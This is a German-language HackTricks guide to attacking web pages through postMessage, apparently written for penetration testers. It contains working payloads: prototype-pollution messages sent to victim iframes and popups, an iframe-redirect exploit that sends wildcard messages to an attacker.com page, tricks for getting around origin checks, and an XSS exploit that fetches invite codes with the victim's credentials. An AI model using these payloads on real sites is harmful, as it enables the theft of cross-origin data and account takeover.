PostMessage Vulnerabilities

PostMessage Verwundbarkeiten

Unterstütze HackTricks

Sende PostMessage

PostMessage verwendet die folgende Funktion, um eine Nachricht zu senden:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Beachten Sie, dass targetOrigin ein '*' oder eine URL wie https://company.com. sein kann. Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der Ursprung des Window-Objekts unterschiedlich ist). Wenn das Wildcard verwendet wird, können Nachrichten an jede Domain gesendet werden und werden an den Ursprung des Window-Objekts gesendet.

Angreifen von iframe & Wildcard in targetOrigin

Wie in diesem Bericht erklärt, wenn Sie eine Seite finden, die iframed werden kann (keine X-Frame-Header-Schutz) und die sensible Nachrichten über postMessage mit einem Wildcard (*) sendet, können Sie den Ursprung des iframes ändern und die sensible Nachricht an eine von Ihnen kontrollierte Domain leaken. Beachten Sie, dass, wenn die Seite iframed werden kann, aber targetOrigin auf eine URL und nicht auf ein Wildcard gesetzt ist, dieser Trick nicht funktioniert.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener Ausnutzung

addEventListener ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages erwartet. Ein Code ähnlich dem folgenden wird verwendet:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Hinweis in diesem Fall, wie das erste, was der Code tut, die Herkunft überprüft. Dies ist äußerst wichtig, insbesondere wenn die Seite irgendetwas Sensibles mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden und die Passwörter der Opfer zu ändern (in diesem Beispiel).

Aufzählung

Um Ereignis-Listener auf der aktuellen Seite zu finden, können Sie:

  • Durchsuchen Sie den JS-Code nach window.addEventListener und $(window).on (JQuery-Version)

  • Führen Sie in der Konsole der Entwicklertools aus: getEventListeners(window)

  • Gehen Sie zu Elements --> Event Listeners in den Entwicklertools des Browsers

Umgehungen der Herkunftsüberprüfung

  • Das event.isTrusted Attribut gilt als sicher, da es True nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.

  • Die Verwendung von indexOf() zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Die search() Methode von String.prototype.search() ist für reguläre Ausdrücke gedacht, nicht für Zeichenfolgen. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Die match() Funktion, ähnlich wie search(), verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck nicht richtig strukturiert ist, könnte er anfällig für Umgehungen sein.

  • Die escapeHtml Funktion soll Eingaben bereinigen, indem sie Zeichen maskiert. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft hasOwnProperty nicht anerkennt, wird die escapeHtml nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:

  • Erwarteter Fehler:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Umgehung der Escape-Funktion:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Im Kontext dieser Schwachstelle ist das File Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten name Eigenschaft. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der escapeHtml Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.

  • Die document.domain Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.

e.origin == window.origin Umgehung

Beim Einbetten einer Webseite in ein sandboxed iframe mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um Sandbox-Attribute und deren Auswirkungen auf Sicherheit und Funktionalität geht.

Durch die Angabe von allow-popups im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das allow-popups-to-escape-sandbox Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf null gesetzt wird, was mit der Herkunft des iframes übereinstimmt.

Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit postMessage gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf null gesetzt. Diese Situation führt zu einem Szenario, in dem e.origin == window.origin als wahr ausgewertet wird (null == null), da sowohl das iframe als auch das Popup denselben Ursprungswert von null teilen.

Für weitere Informationen lesen Sie:

Bypassing SOP with Iframes - 1

Umgehung von e.source

Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für Content Scripts von Browsererweiterungen, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Sie können e.source einer Nachricht auf null setzen, indem Sie ein iframe erstellen, das die postMessage sendet und sofort gelöscht wird.

Für weitere Informationen lesen Sie:

Bypassing SOP with Iframes - 2

X-Frame-Header Umgehung

Um diese Angriffe durchzuführen, sollten Sie idealerweise in der Lage sein, die Opfer-Webseite in ein iframe einzufügen. Aber einige Header wie X-Frame-Header können dieses Verhalten verhindern. In diesen Szenarien können Sie dennoch einen weniger stealthy Angriff verwenden. Sie können einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stehlen von Nachrichten, die an das Kind gesendet werden, indem die Hauptseite blockiert wird

In der folgenden Seite sehen Sie, wie Sie sensible postmessage-Daten stehlen können, die an ein Kind-iframe gesendet werden, indem Sie die Hauptseite blockieren, bevor die Daten gesendet werden, und eine XSS im Kind ausnutzen, um die Daten zu leaken, bevor sie empfangen werden:

Blocking main page to steal postmessage

Stehlen von Nachrichten durch Ändern des iframe-Standorts

Wenn Sie eine Webseite ohne X-Frame-Header, die ein anderes iframe enthält, einfügen können, können Sie den Standort dieses Kind-iframe ändern, sodass, wenn es eine postmessage empfängt, die mit einem Wildcard gesendet wird, ein Angreifer diesen iframe-Ursprung auf eine von ihm kontrollierte Seite ändern und die Nachricht stehlen könnte:

Steal postmessage modifying iframe location

postMessage zu Prototype Pollution und/oder XSS

In Szenarien, in denen die über postMessage gesendeten Daten von JS ausgeführt werden, können Sie die Seite iframe und die Prototype Pollution/XSS ausnutzen, indem Sie den Exploit über postMessage senden.

Ein paar sehr gut erklärte XSS über postMessage finden Sie unter https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Beispiel eines Exploits, um Prototype Pollution und dann XSS über eine postMessage an ein iframe auszunutzen:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Für weitere Informationen:

Referenzen

Unterstütze HackTricks

Last updated